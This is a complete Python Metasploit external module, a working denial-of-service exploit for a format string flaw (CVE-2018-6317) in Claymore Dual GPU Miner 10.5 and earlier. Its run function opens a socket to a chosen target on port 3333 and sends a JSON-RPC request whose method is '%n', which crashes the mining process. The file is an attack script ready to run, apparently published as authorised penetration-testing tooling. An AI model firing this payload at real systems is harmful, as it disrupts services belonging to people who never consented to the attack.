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#!/usr/bin/env python3
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# -*- coding: utf-8 -
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import socket
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import json
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from metasploit import module
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metadata = {
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    'name': 'Claymore Dual GPU Miner  Format String dos attack',
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    'description': '''
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    Claymore’s Dual GPU Miner 10.5 and below is vulnerable to a format strings vulnerability. This allows an
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    unauthenticated attacker to read memory addresses, or immediately terminate the mining process causing
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    a denial of service.
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    ''',
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    'authors': [
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        'res1n',  # Vulnerability disclosure
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        'bluebird',  # Metasploit external module (Python)
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    ],
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    'date': '2018-02-06',
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    'references': [
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        {'type': 'cve', 'ref': '2018-6317'},
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        {'type': 'edb', 'ref': '43972'},
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        {'type': 'url', 'ref': 'https://github.com/nanopool/Claymore-Dual-Miner'}
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    ],
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    'type': 'dos',
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    'options': {
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        'rhost': {'type': 'address', 'description': 'The target address', 'required': True, 'default': None},
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        'rport': {'type': 'port', 'description': 'The target port', 'required': True, 'default': 3333},
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    }}
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def run(args):
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    host = args['rhost']
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    port = int(args['rport'])
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    module.log("Creating sockets...", 'info')
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    exp = json.dumps({'id': 1, 'jsonrpc': '1.0', 'method': '%n'}).encode()
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    try:
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        s = socket.create_connection((host, port), 10)
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        s.send(exp)
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        s.close()
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    except socket.error:
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        module.log("connect error exit")
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if __name__ == "__main__":
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    module.run(metadata, run)
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